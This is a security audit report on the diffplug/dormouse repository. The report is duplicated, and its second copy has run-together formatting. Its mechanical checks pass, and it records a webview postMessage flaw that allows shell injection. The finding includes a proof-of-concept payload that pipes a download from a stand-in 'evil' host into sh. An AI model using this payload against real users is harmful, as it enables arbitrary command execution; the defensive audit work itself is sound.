Audit failed at 2026-07-27T08:06Z. Run
Security Audit Report
Audited against SECURITY.md on 2026-07-27, repo diffplug/dormouse, HEAD 8cfc0a1 (main, clean working tree).
FAIL IF results
Dependency Supply Chain
node website/scripts/generate-deps.js changes tracked dep JSONs from a clean checkout — PASS. Ran the script from the current checkout; git status --porcelain website/src/data/ was empty afterward (no diff produced).
- Root
package.json missing/invalid devEngines.runtime.version — PASS. package.json has devEngines.runtime.version: "24.18.0" (exact MAJOR.MINOR.PATCH).
standalone/src-tauri/build.rs no longer verifies bundled Node matches the pin — PASS. build.rs:37-43 calls read_pinned_node_version() then verify_node_version() before bundling; verify_node_version (line ~191-220) runs node --version on the binary and fails the build on mismatch.
build-standalone job doesn't install the pinned runtime via devEngines.runtime.version → setup-node — PASS. .github/workflows/release.yml:39-41 uses actions/setup-node@8207627... (pinned to v7.0.0) with node-version-file: package.json. Verified against the action's actual source at that pinned SHA (src/util.ts): it reads manifest.devEngines?.runtime before falling back to engines.node, so this genuinely resolves the devEngines pin, not just a comment claim.
pnpm-workspace.yaml missing minimumReleaseAge: 1440 — PASS. pnpm-workspace.yaml:23 sets minimumReleaseAge: 1440.
.github/renovate.json missing npm/cargo in enabledManagers — PASS. enabledManagers: ["github-actions", "npm", "cargo"].
.github/renovate.json missing minimumReleaseAge package rules for npm/cargo — PASS. Three packageRules entries set minimumReleaseAge of "1 day"/"3 days"/"14 days" for patch/minor/major on matchManagers: ["npm", "cargo"].
GitHub Actions Policies
pull_request_target outside tend-*.yaml — PASS. grep -rl pull_request_target .github/workflows/ returns only tend-review.yaml.
- Non-agent-managed workflow grants write perms beyond
id-token: write/attestations: write (or release.yml's security-audit job actions: write) — PASS. chromatic.yml, ci.yml declare only contents: read. release.yml's build-standalone/build-vscode jobs grant contents: read, id-token: write, attestations: write (the accepted provenance set); the security-audit job grants contents: read, actions: write (the explicitly documented exception); publish-vscode has no job-level override and inherits the workflow-level contents: read.
Automated Maintainer (tend)
Merge access ruleset missing/misconfigured — PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/rulesets/16757376 → target branch, conditions.ref_name.include: ["~DEFAULT_BRANCH"], rules: [{"type":"update"}] only, bypass_actors: [{"actor_id":5,"actor_type":"RepositoryRole","bypass_mode":"exempt"}] (admin-only, sole bypass actor).
Tag operations ruleset missing/misconfigured — PASS. rulesets/16757382 → target tag, ref_name.include: ["~ALL"], rules: [{"type":"creation"},{"type":"update"}], same admin-only sole bypass actor (actor_id: 5).
dormouse-bot holds permission higher than push — PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/collaborators/dormouse-bot/permission → {"permission":"write", "permissions":{"admin":false,"maintain":false,"push":true,...}}.
OVSX_PAT/VSCE_PAT present as repo-level secret — PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/actions/secrets lists only CHROMATIC_PROJECT_TOKEN, CLAUDE_CODE_OAUTH_TOKEN, TEND_BOT_TOKEN. Both PATs exist only under environments/vscode-extension-publish/secrets.
- Environment deployment-branch-policy admits a ref not admin-gated — PASS.
vscode-extension-publish policy = v* tag only (admin-gated by Tag operations). security-audit policy = main + v* tag (both admin-gated, by Merge access and Tag operations respectively).
AUDIT_PAT missing from security-audit env, or present at repo level — PASS. Present under environments/security-audit/secrets (AUDIT_PAT, updated 2026-05-22); absent from the repo-level secret list in check 13.
CHROMATIC_PROJECT_TOKEN missing from secrets.allowed in .config/tend.yaml — PASS. .config/tend.yaml → secrets: allowed: [CHROMATIC_PROJECT_TOKEN].
ANTHROPIC_API_KEY reachable at repo/org level while tend-*.yaml still passes it — PASS (no violation). No ANTHROPIC_API_KEY in the repo-level or org-level secret listings; all 8 tend-*.yaml files still pass anthropic_api_key: ${{ secrets.ANTHROPIC_API_KEY }} (matches the documented "inert plumbing" state).
- Org-level secret other than
BUILDCACHE_USER/NEXUS_USER visible to repo — PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/actions/organization-secrets returns exactly those two, nothing else.
workflow-audit.yaml missing/disabled/no successful run in 48h — PASS. Workflow state: "active"; most recent successful run created_at: 2026-07-26T09:21:12Z, ~22.5 hours before this audit (2026-07-27T07:54Z).
- Unpinned action reference in
tend-*.yaml — PASS. All tend-*.yaml use @v7 / @0.1.11 style tag pins (accepted for this file per spec), none use @main or no version.
- Agent-managed workflow grants a permission beyond the allowed set — PASS.
security-audit.yaml: contents: read, actions: read, issues: write, id-token: write. workflow-audit.yaml: contents: read, issues: write, actions: read. All 8 tend-*.yaml: subsets of contents: write, pull-requests: write, id-token: write, actions: read, issues: write. All within the allowed set.
VS Code Extension Releases
release.yml missing vscode-extension-publish environment on publish job — PASS. publish-vscode job declares environment: name: vscode-extension-publish.
VSCE_PAT/OVSX_PAT used outside that environment — PASS. grep -rn "VSCE_PAT\|OVSX_PAT" .github/ finds both only inside the publish-vscode job's steps (lines 325, 337).
release.yml uses production desktop signing secrets in CI — PASS. grep -i "APPLE_SIGN_PASS\|EV_SIGN_PIN\|MACOS_IDENTITY\|JSIGN\|codesign\|CSC_" against release.yml finds none; the only Tauri-signing-key reference is the ephemeral CI key (see next check).
release.yml stops generating an ephemeral updater key — PASS. build-standalone job step "Generate ephemeral Tauri updater key" runs tauri signer generate --ci --write-keys ... --force and exports it as TAURI_SIGNING_PRIVATE_KEY for that job only.
Desktop Releases
scripts/sign-and-deploy.sh stops verifying attestations — PASS. verify_downloaded_artifact() calls gh attestation verify "$manifest" --repo ... --cert-identity ... --source-digest "$tag_sha".
scripts/sign-and-deploy.sh stops verifying SHA-256 manifests — PASS. Same function calls check_sha256_manifest, which runs sha256sum -c/shasum -a 256 -c against the manifest.
scripts/sign-and-deploy.sh stops using PIV-backed Windows signing — PASS. sign_windows() invokes jsign --storetype PIV --storepass "$EV_SIGN_PIN" --alias "$JSIGN_ALIAS" ....
CI Validation Contract
security-audit.yaml missing/disabled/not invoked from release.yml's publish path — PASS. Workflow state: "active"; release.yml's security-audit job dispatches it via gh workflow run security-audit.yaml and gh run watch ... --exit-status, and publish-vscode lists security-audit in needs:.
- Audit weakened (qualitative pass removed, a FAIL IF ignorable, failure-reporting/issue step removed,
AUDIT_PAT pre-check removed/bypassed) — PASS. security-audit.yaml step "Verify AUDIT_PAT is provisioned" hard-fails (exit 1) if the secret is empty; the Claude prompt explicitly requires the qualitative pass and forbids treating any FAIL IF as ignorable; the "Surface result, file or close issue" step (if: always()) opens/updates the security-audit-failure-labeled issue on FAIL and auto-closes on PASS, and exits non-zero on FAIL.
All 30 mechanical FAIL IF checks: PASS.
Qualitative findings
BLOCKER — VS Code webview message handler has no origin/source check, allowing PTY command injection from framed content
File: lib/src/lib/platform/vscode-adapter.ts:58-133 (handler installed in the constructor, window.addEventListener('message', (event) => {...})).
The handler branches purely on event.data.type ('pty:data', 'dor:controlRequest', etc.) and never checks event.origin or event.source. In particular, for type === 'dor:controlRequest' (line 116), it unconditionally dispatches a dormouse:control-request CustomEvent carrying method/params straight from the untrusted message. lib/src/components/wall/use-dor-control.ts listens for that event and, for SURFACE_CONTROL_METHODS.send (line 618), calls getPlatform().writePty(target.id, input) with no further authentication — this is the same trust boundary that the real dor CLI → control-socket path authenticates with a token (dor-cli.md), but here it is reachable purely by posting a same-shaped browser message.
The VS Code webview embeds a real, scriptable <iframe> for dor iframe/agent-browser surfaces (lib/src/components/wall/IframePanel.tsx:332-338), sandboxed with allow-scripts allow-same-origin allow-forms allow-popups allow-modals allow-downloads for proxied content, and with no sandbox at all for the "raw" fallback path (resolution.kind === 'raw', same file, conditional spread at line 337). Both permit executing JavaScript that calls window.parent.postMessage(...) cross-origin — postMessage is explicitly designed to cross the sandbox/origin boundary, so allow-scripts alone is sufficient for the exploit.
Concrete failure scenario: a user opens dor iframe https://attacker.example (or an agent-browser session navigates to a compromised/malicious page) inside a Dormouse pane running under the VS Code extension. That page's JavaScript runs:
window.parent.postMessage({
type: 'dor:controlRequest', requestId: 'x', method: 'surface.send',
params: { surface: '<any-known-surface-id>', input: 'curl https://evil/x | sh\n' }
}, '*');
This is delivered as a same-window message event to vscode-adapter.ts's listener (there is no separate window per iframe from the top document's perspective — postMessage targets are windows, and parent/top from inside the iframe is the webview's top window), which dispatches the CustomEvent, which use-dor-control.ts turns directly into a PTY write — arbitrary shell command execution in any terminal the attacker can address, without ever touching the control-socket token check. The same unguarded channel also lets framed content forge pty:data/pty:list/pty:replay to spoof terminal state.
This affects the VS Code extension host specifically. The Tauri standalone (standalone/src/tauri-adapter.ts:149) and the dev-only browser-sidecar harness (standalone/src/browser-sidecar-adapter.ts:263) receive the equivalent event over Tauri's listen() IPC channel / an internal host WebSocket respectively, not raw window.postMessage, so they are not exposed to this specific forgery path. IframePanel.tsx's own message handler (line 255, if (e.origin !== proxyOrigin) return;) shows the codebase already knows how to validate event.origin correctly — vscode-adapter.ts's handler is the outlier.
Fix direction: the webview should reject any message event whose event.source is not the VS Code host bridge, or embed a per-session nonce/token at webview boot that all extension-host-originated messages must carry and that framed content cannot obtain, before trusting dor:controlRequest (and ideally the other message types too).
INFO — No other qualitative issues found
A broader sweep of .github/workflows/*.yaml/*.yml, .config/tend.yaml, .github/renovate.json, and scripts/ found no script-injection vectors: every place that carries PR/issue/comment text (tend-mention.yaml lines 180-191, 240, 252) passes it through an env: mapping rather than interpolating ${{ }} directly into a run: shell string, which is the GitHub-recommended safe pattern; the one pull_request_target workflow (tend-review.yaml) and the PR-branch checkouts in tend-mention.yaml/tend-*.yaml match the threat model already documented and accepted in SECURITY.md's "Automated Maintainer (tend)" section (bot-scoped TEND_BOT_TOKEN, no reach to main/tags/env-scoped secrets). scripts/sign-and-deploy.sh and scripts/bump-version.sh validate/quote inputs (semver regex, quoted path expansions) and run only as a local, human-operated release step. The remote-security code (server-lib-common/src/security/, lib/src/remote/host/, dor/src/control-client.ts, standalone/sidecar/dor-control-server.js) uses CSPRNG token generation, constant-time comparisons, single-use challenges, and restrictive file permissions (0o600/0o700), consistent with docs/specs/remote-security-model.md.
Summary
Overall: FAIL.
Every mechanical FAIL IF check in SECURITY.md passes — the dependency pinning, Actions permission scoping, ruleset/bypass-actor configuration, dormouse-bot scoping, secret/environment placement, and release-signing pipeline all match the spec's claims exactly, verified against live gh api output (with AUDIT_PAT for admin-scoped endpoints) and the actual workflow/script contents rather than just the documentation. However, the qualitative pass — which SECURITY.md's CI Validation Contract explicitly requires and treats as gating — surfaced one BLOCKER: the VS Code extension host's webview message listener (lib/src/lib/platform/vscode-adapter.ts) trusts dor:controlRequest messages without any origin/source validation, and the same webview renders a real, scriptable <iframe> for browser/iframe surfaces that can reach that listener via cross-origin postMessage, giving framed page content a path to arbitrary PTY command execution that bypasses the control-socket's own token authentication. Per SECURITY.md's stated grading rule ("Status is FAIL if any FAIL IF is violated or any qualitative finding is BLOCKER"), this BLOCKER alone determines the overall result.
Audit failed at 2026-07-27T08:06Z. Run
Security Audit Report
Audited against
SECURITY.mdon 2026-07-27, repodiffplug/dormouse, HEAD8cfc0a1(main, clean working tree).FAIL IF results
Dependency Supply Chain
node website/scripts/generate-deps.jschanges tracked dep JSONs from a clean checkout — PASS. Ran the script from the current checkout;git status --porcelain website/src/data/was empty afterward (no diff produced).package.jsonmissing/invaliddevEngines.runtime.version— PASS.package.jsonhasdevEngines.runtime.version: "24.18.0"(exactMAJOR.MINOR.PATCH).standalone/src-tauri/build.rsno longer verifies bundled Node matches the pin — PASS.build.rs:37-43callsread_pinned_node_version()thenverify_node_version()before bundling;verify_node_version(line ~191-220) runsnode --versionon the binary and fails the build on mismatch.build-standalonejob doesn't install the pinned runtime viadevEngines.runtime.version→setup-node— PASS..github/workflows/release.yml:39-41usesactions/setup-node@8207627...(pinned to v7.0.0) withnode-version-file: package.json. Verified against the action's actual source at that pinned SHA (src/util.ts): it readsmanifest.devEngines?.runtimebefore falling back toengines.node, so this genuinely resolves thedevEnginespin, not just a comment claim.pnpm-workspace.yamlmissingminimumReleaseAge: 1440— PASS.pnpm-workspace.yaml:23setsminimumReleaseAge: 1440..github/renovate.jsonmissingnpm/cargoinenabledManagers— PASS.enabledManagers: ["github-actions", "npm", "cargo"]..github/renovate.jsonmissingminimumReleaseAgepackage rules for npm/cargo — PASS. ThreepackageRulesentries setminimumReleaseAgeof "1 day"/"3 days"/"14 days" for patch/minor/major onmatchManagers: ["npm", "cargo"].GitHub Actions Policies
pull_request_targetoutsidetend-*.yaml— PASS.grep -rl pull_request_target .github/workflows/returns onlytend-review.yaml.id-token: write/attestations: write(orrelease.yml'ssecurity-auditjobactions: write) — PASS.chromatic.yml,ci.ymldeclare onlycontents: read.release.yml'sbuild-standalone/build-vscodejobs grantcontents: read, id-token: write, attestations: write(the accepted provenance set); thesecurity-auditjob grantscontents: read, actions: write(the explicitly documented exception);publish-vscodehas no job-level override and inherits the workflow-levelcontents: read.Automated Maintainer (tend)
Merge accessruleset missing/misconfigured — PASS.GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/rulesets/16757376→ targetbranch,conditions.ref_name.include: ["~DEFAULT_BRANCH"],rules: [{"type":"update"}]only,bypass_actors: [{"actor_id":5,"actor_type":"RepositoryRole","bypass_mode":"exempt"}](admin-only, sole bypass actor).Tag operationsruleset missing/misconfigured — PASS.rulesets/16757382→ targettag,ref_name.include: ["~ALL"],rules: [{"type":"creation"},{"type":"update"}], same admin-only sole bypass actor (actor_id: 5).dormouse-botholds permission higher thanpush— PASS.GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/collaborators/dormouse-bot/permission→{"permission":"write", "permissions":{"admin":false,"maintain":false,"push":true,...}}.OVSX_PAT/VSCE_PATpresent as repo-level secret — PASS.GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/actions/secretslists onlyCHROMATIC_PROJECT_TOKEN,CLAUDE_CODE_OAUTH_TOKEN,TEND_BOT_TOKEN. Both PATs exist only underenvironments/vscode-extension-publish/secrets.vscode-extension-publishpolicy =v*tag only (admin-gated byTag operations).security-auditpolicy =main+v*tag (both admin-gated, byMerge accessandTag operationsrespectively).AUDIT_PATmissing fromsecurity-auditenv, or present at repo level — PASS. Present underenvironments/security-audit/secrets(AUDIT_PAT, updated 2026-05-22); absent from the repo-level secret list in check 13.CHROMATIC_PROJECT_TOKENmissing fromsecrets.allowedin.config/tend.yaml— PASS..config/tend.yaml→secrets: allowed: [CHROMATIC_PROJECT_TOKEN].ANTHROPIC_API_KEYreachable at repo/org level whiletend-*.yamlstill passes it — PASS (no violation). NoANTHROPIC_API_KEYin the repo-level or org-level secret listings; all 8tend-*.yamlfiles still passanthropic_api_key: ${{ secrets.ANTHROPIC_API_KEY }}(matches the documented "inert plumbing" state).BUILDCACHE_USER/NEXUS_USERvisible to repo — PASS.GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/actions/organization-secretsreturns exactly those two, nothing else.workflow-audit.yamlmissing/disabled/no successful run in 48h — PASS. Workflowstate: "active"; most recent successful runcreated_at: 2026-07-26T09:21:12Z, ~22.5 hours before this audit (2026-07-27T07:54Z).tend-*.yaml— PASS. Alltend-*.yamluse@v7/@0.1.11style tag pins (accepted for this file per spec), none use@mainor no version.security-audit.yaml:contents: read, actions: read, issues: write, id-token: write.workflow-audit.yaml:contents: read, issues: write, actions: read. All 8tend-*.yaml: subsets ofcontents: write, pull-requests: write, id-token: write, actions: read, issues: write. All within the allowed set.VS Code Extension Releases
release.ymlmissingvscode-extension-publishenvironment on publish job — PASS.publish-vscodejob declaresenvironment: name: vscode-extension-publish.VSCE_PAT/OVSX_PATused outside that environment — PASS.grep -rn "VSCE_PAT\|OVSX_PAT" .github/finds both only inside thepublish-vscodejob's steps (lines 325, 337).release.ymluses production desktop signing secrets in CI — PASS.grep -i "APPLE_SIGN_PASS\|EV_SIGN_PIN\|MACOS_IDENTITY\|JSIGN\|codesign\|CSC_"againstrelease.ymlfinds none; the only Tauri-signing-key reference is the ephemeral CI key (see next check).release.ymlstops generating an ephemeral updater key — PASS.build-standalonejob step "Generate ephemeral Tauri updater key" runstauri signer generate --ci --write-keys ... --forceand exports it asTAURI_SIGNING_PRIVATE_KEYfor that job only.Desktop Releases
scripts/sign-and-deploy.shstops verifying attestations — PASS.verify_downloaded_artifact()callsgh attestation verify "$manifest" --repo ... --cert-identity ... --source-digest "$tag_sha".scripts/sign-and-deploy.shstops verifying SHA-256 manifests — PASS. Same function callscheck_sha256_manifest, which runssha256sum -c/shasum -a 256 -cagainst the manifest.scripts/sign-and-deploy.shstops using PIV-backed Windows signing — PASS.sign_windows()invokesjsign --storetype PIV --storepass "$EV_SIGN_PIN" --alias "$JSIGN_ALIAS" ....CI Validation Contract
security-audit.yamlmissing/disabled/not invoked fromrelease.yml's publish path — PASS. Workflowstate: "active";release.yml'ssecurity-auditjob dispatches it viagh workflow run security-audit.yamlandgh run watch ... --exit-status, andpublish-vscodelistssecurity-auditinneeds:.AUDIT_PATpre-check removed/bypassed) — PASS.security-audit.yamlstep "Verify AUDIT_PAT is provisioned" hard-fails (exit 1) if the secret is empty; the Claude prompt explicitly requires the qualitative pass and forbids treating anyFAIL IFas ignorable; the "Surface result, file or close issue" step (if: always()) opens/updates thesecurity-audit-failure-labeled issue on FAIL and auto-closes on PASS, and exits non-zero on FAIL.All 30 mechanical
FAIL IFchecks: PASS.Qualitative findings
BLOCKER — VS Code webview
messagehandler has no origin/source check, allowing PTY command injection from framed contentFile:
lib/src/lib/platform/vscode-adapter.ts:58-133(handler installed in the constructor,window.addEventListener('message', (event) => {...})).The handler branches purely on
event.data.type('pty:data','dor:controlRequest', etc.) and never checksevent.originorevent.source. In particular, fortype === 'dor:controlRequest'(line 116), it unconditionally dispatches adormouse:control-requestCustomEventcarryingmethod/paramsstraight from the untrusted message.lib/src/components/wall/use-dor-control.tslistens for that event and, forSURFACE_CONTROL_METHODS.send(line 618), callsgetPlatform().writePty(target.id, input)with no further authentication — this is the same trust boundary that the realdorCLI → control-socket path authenticates with a token (dor-cli.md), but here it is reachable purely by posting a same-shaped browser message.The VS Code webview embeds a real, scriptable
<iframe>fordor iframe/agent-browser surfaces (lib/src/components/wall/IframePanel.tsx:332-338), sandboxed withallow-scripts allow-same-origin allow-forms allow-popups allow-modals allow-downloadsfor proxied content, and with no sandbox at all for the "raw" fallback path (resolution.kind === 'raw', same file, conditional spread at line 337). Both permit executing JavaScript that callswindow.parent.postMessage(...)cross-origin —postMessageis explicitly designed to cross the sandbox/origin boundary, soallow-scriptsalone is sufficient for the exploit.Concrete failure scenario: a user opens
dor iframe https://attacker.example(or an agent-browser session navigates to a compromised/malicious page) inside a Dormouse pane running under the VS Code extension. That page's JavaScript runs:This is delivered as a same-window
messageevent tovscode-adapter.ts's listener (there is no separatewindowper iframe from the top document's perspective —postMessagetargets are windows, andparent/topfrom inside the iframe is the webview's top window), which dispatches theCustomEvent, whichuse-dor-control.tsturns directly into a PTY write — arbitrary shell command execution in any terminal the attacker can address, without ever touching the control-socket token check. The same unguarded channel also lets framed content forgepty:data/pty:list/pty:replayto spoof terminal state.This affects the VS Code extension host specifically. The Tauri standalone (
standalone/src/tauri-adapter.ts:149) and the dev-only browser-sidecar harness (standalone/src/browser-sidecar-adapter.ts:263) receive the equivalent event over Tauri'slisten()IPC channel / an internal host WebSocket respectively, not rawwindow.postMessage, so they are not exposed to this specific forgery path.IframePanel.tsx's own message handler (line 255,if (e.origin !== proxyOrigin) return;) shows the codebase already knows how to validateevent.origincorrectly —vscode-adapter.ts's handler is the outlier.Fix direction: the webview should reject any
messageevent whoseevent.sourceis not the VS Code host bridge, or embed a per-session nonce/token at webview boot that all extension-host-originated messages must carry and that framed content cannot obtain, before trustingdor:controlRequest(and ideally the other message types too).INFO — No other qualitative issues found
A broader sweep of
.github/workflows/*.yaml/*.yml,.config/tend.yaml,.github/renovate.json, andscripts/found no script-injection vectors: every place that carries PR/issue/comment text (tend-mention.yamllines 180-191, 240, 252) passes it through anenv:mapping rather than interpolating${{ }}directly into arun:shell string, which is the GitHub-recommended safe pattern; the onepull_request_targetworkflow (tend-review.yaml) and the PR-branch checkouts intend-mention.yaml/tend-*.yamlmatch the threat model already documented and accepted in SECURITY.md's "Automated Maintainer (tend)" section (bot-scopedTEND_BOT_TOKEN, no reach tomain/tags/env-scoped secrets).scripts/sign-and-deploy.shandscripts/bump-version.shvalidate/quote inputs (semver regex, quoted path expansions) and run only as a local, human-operated release step. The remote-security code (server-lib-common/src/security/,lib/src/remote/host/,dor/src/control-client.ts,standalone/sidecar/dor-control-server.js) uses CSPRNG token generation, constant-time comparisons, single-use challenges, and restrictive file permissions (0o600/0o700), consistent withdocs/specs/remote-security-model.md.Summary
Overall: FAIL.
Every mechanical
FAIL IFcheck in SECURITY.md passes — the dependency pinning, Actions permission scoping, ruleset/bypass-actor configuration,dormouse-botscoping, secret/environment placement, and release-signing pipeline all match the spec's claims exactly, verified against livegh apioutput (withAUDIT_PATfor admin-scoped endpoints) and the actual workflow/script contents rather than just the documentation. However, the qualitative pass — which SECURITY.md's CI Validation Contract explicitly requires and treats as gating — surfaced one BLOCKER: the VS Code extension host's webviewmessagelistener (lib/src/lib/platform/vscode-adapter.ts) trustsdor:controlRequestmessages without any origin/source validation, and the same webview renders a real, scriptable<iframe>for browser/iframe surfaces that can reach that listener via cross-originpostMessage, giving framed page content a path to arbitrary PTY command execution that bypasses the control-socket's own token authentication. Per SECURITY.md's stated grading rule ("Status is FAIL if any FAIL IF is violated or any qualitative finding is BLOCKER"), this BLOCKER alone determines the overall result.